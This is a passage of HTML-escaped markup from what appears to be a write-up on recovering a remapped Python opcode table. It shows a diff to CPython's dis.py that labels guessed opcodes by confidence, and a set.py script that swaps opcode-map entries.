&lt;span class=&quot;k&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#39;./opcode_map&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&amp;#39;w&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#39; &amp;#39;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This tool would allow us to add stuff to the &lt;code&gt;known&lt;/code&gt; set, allowing for
quick testing without needing to manually mess around with the
semi-fragile &lt;code&gt;opcode_map&lt;/code&gt; file. By this point, I&amp;#39;ve already added a
few more guesses we&amp;#39;d got.&lt;/p&gt;

&lt;p&gt;However, soon it became hard to keep track of the quality of the
guesses. Specifically, which guesses were high-quality &amp;quot;we practically
can guarantee this is valid&amp;quot; and which ones were &amp;quot;idk, try this and
see if it helps&amp;quot;. Thus, I decided to patch &lt;code&gt;dis.py&lt;/code&gt; yet again:&lt;/p&gt;
&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-diff&quot; data-lang=&quot;diff&quot;&gt;&lt;span class=&quot;gh&quot;&gt;diff --git a/Lib/dis.py b/Lib/dis.py&lt;/span&gt;
&lt;span class=&quot;gh&quot;&gt;index 205e9d8d19..f3284edf92 100644&lt;/span&gt;
&lt;span class=&quot;gd&quot;&gt;--- a/Lib/dis.py&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+++ b/Lib/dis.py&lt;/span&gt;
&lt;span class=&quot;gu&quot;&gt;@@ -290,6 +290,16 @@ def _disassemble(self, lineno_width=3, mark_as_current=False, offset_width=4):&lt;/span&gt;
         *mark_as_current* inserts a &amp;#39;--&amp;gt;&amp;#39; marker arrow as part of the line
         *offset_width* sets the width of the instruction offset field
         &amp;quot;&amp;quot;&amp;quot;
&lt;span class=&quot;gi&quot;&gt;+        with open(&amp;#39;semitrusted&amp;#39;, &amp;#39;r&amp;#39;) as f:&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+            semitrusted = f.read().split(&amp;#39;\n&amp;#39;)&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+        with open(&amp;#39;trusted&amp;#39;, &amp;#39;r&amp;#39;) as f:&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+            trusted = f.read().split(&amp;#39;\n&amp;#39;)&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+        if self.opname in trusted:&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+            guess = &amp;#39;&amp;#39;&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+        elif self.opname in semitrusted:&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+            guess = &amp;#39;?&amp;#39;&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+        else:&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+            guess = &amp;#39;??&amp;#39;&lt;/span&gt;
         fields = []
         # Column: Source code line number
         if lineno_width:
&lt;span class=&quot;gu&quot;&gt;@@ -310,8 +320,10 @@ def _disassemble(self, lineno_width=3, mark_as_current=False, offset_width=4):&lt;/span&gt;
             fields.append(&amp;#39;  &amp;#39;)
         # Column: Instruction offset from start of code sequence
         fields.append(repr(self.offset).rjust(offset_width))
&lt;span class=&quot;gi&quot;&gt;+        # Column: Opcode number&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+        fields.append(str(self.opcode).rjust(5))&lt;/span&gt;
         # Column: Opcode name
&lt;span class=&quot;gd&quot;&gt;-        fields.append(self.opname.ljust(_OPNAME_WIDTH))&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+        fields.append((guess + self.opname).ljust(_OPNAME_WIDTH))&lt;/span&gt;
         # Column: Opcode argument
         if self.arg is not None:
             fields.append(repr(self.arg).rjust(_OPARG_WIDTH))
&lt;span class=&quot;gu&quot;&gt;@@ -381,7 +393,11 @@ def _get_name_info(name_index, get_name, **extrainfo):&lt;/span&gt;
        and an empty string for its repr.
     &amp;quot;&amp;quot;&amp;quot;
     if get_name is not None:
&lt;span class=&quot;gd&quot;&gt;-        argval = get_name(name_index, **extrainfo)&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+        try: # TEMP TEMP TEMP&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+            argval = get_name(name_index, **extrainfo)&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+        except IndexError: # TEMP TEMP TEMP&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+            print(f&amp;quot;IndexError for get_name({name_index=}, {get_name=}, {extrainfo=})&amp;quot;)&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+            return UNKNOWN, &amp;#39;&amp;#39;&lt;/span&gt;
         return argval, argval
     else:
         return UNKNOWN, &amp;#39;&amp;#39;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This allowed us to keep track of files named &lt;code&gt;trusted&lt;/code&gt; and
&lt;code&gt;semitrusted&lt;/code&gt; that we could dump opcodes into. Additionally, with all
the guesses that we had, we had started getting weird flakiness in the
disassembler, thus I added some &amp;quot;error handling&amp;quot; too (that would
convert to a soft error but continue going).&lt;/p&gt;

&lt;p&gt;As a snapshot of what we were guessing at the time, &lt;code&gt;set.py&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-py&quot; data-lang=&quot;py&quot;&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;sys&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;time&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;assert_same_boundary&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;assert&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;90&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;y&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;90&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#39;{x=} {y=}&amp;#39;&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#39;./opcode_map.bak&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;split&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#39; &amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;split&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)]&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;known&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;c&quot;&gt;# Mostly figured out&lt;/span&gt;
    &lt;span class=&quot;mi&quot;&gt;97&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&amp;#39;RESUME&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;mi&quot;&gt;96&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&amp;#39;LOAD_CONST&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;mi&quot;&gt;171&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&amp;#39;IMPORT_NAME&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;mi&quot;&gt;151&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&amp;#39;STORE_NAME&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;mi&quot;&gt;99&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&amp;#39;MAKE_FUNCTION&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;mi&quot;&gt;49&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&amp;#39;RETURN_VALUE&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;

    &lt;span class=&quot;c&quot;&gt;# Random guesses&lt;/span&gt;
    &lt;span class=&quot;c&quot;&gt;# 98: &amp;#39;LOAD_GLOBAL&amp;#39;,&lt;/span&gt;
    &lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&amp;#39;CACHE&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;c&quot;&gt;# 50: &amp;#39;LOAD_GLOBAL_BUILTIN&amp;#39;,&lt;/span&gt;
    &lt;span class=&quot;mi&quot;&gt;142&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&amp;#39;PRECALL&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;mi&quot;&gt;107&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&amp;#39;CALL&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;

    &lt;span class=&quot;c&quot;&gt;# Change away random shit&lt;/span&gt;
    &lt;span class=&quot;mi&quot;&gt;48&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&amp;#39;GET_AITER&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;mi&quot;&gt;99&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&amp;#39;DELETE_GLOBAL&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;semitrusted&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;
    &lt;span class=&quot;c&quot;&gt;# &amp;#39;LOAD_GLOBAL&amp;#39;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&amp;#39;LOAD_GLOBAL_BUILTIN&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&amp;#39;CACHE&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&amp;#39;PRECALL&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&amp;#39;CALL&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;untrusted&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&amp;#39;GET_AITER&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&amp;#39;DELETE_GLOBAL&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#39;trusted&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&amp;#39;w&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;list&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;known&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;values&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;semitrusted&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;untrusted&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)))&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#39;semitrusted&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&amp;#39;w&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;list&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;semitrusted&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)))&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;opnum&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;opcode&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;known&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;items&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;opnum&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;opcode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;idx_name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;enumerate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;opcode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;idx_op&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;enumerate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;opnum&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;assert_same_boundary&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;idx_op&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;idx_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;idx_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;idx_op&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;idx_op&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;idx_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#39;./opcode_map&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&amp;#39;w&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#39; &amp;#39;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span 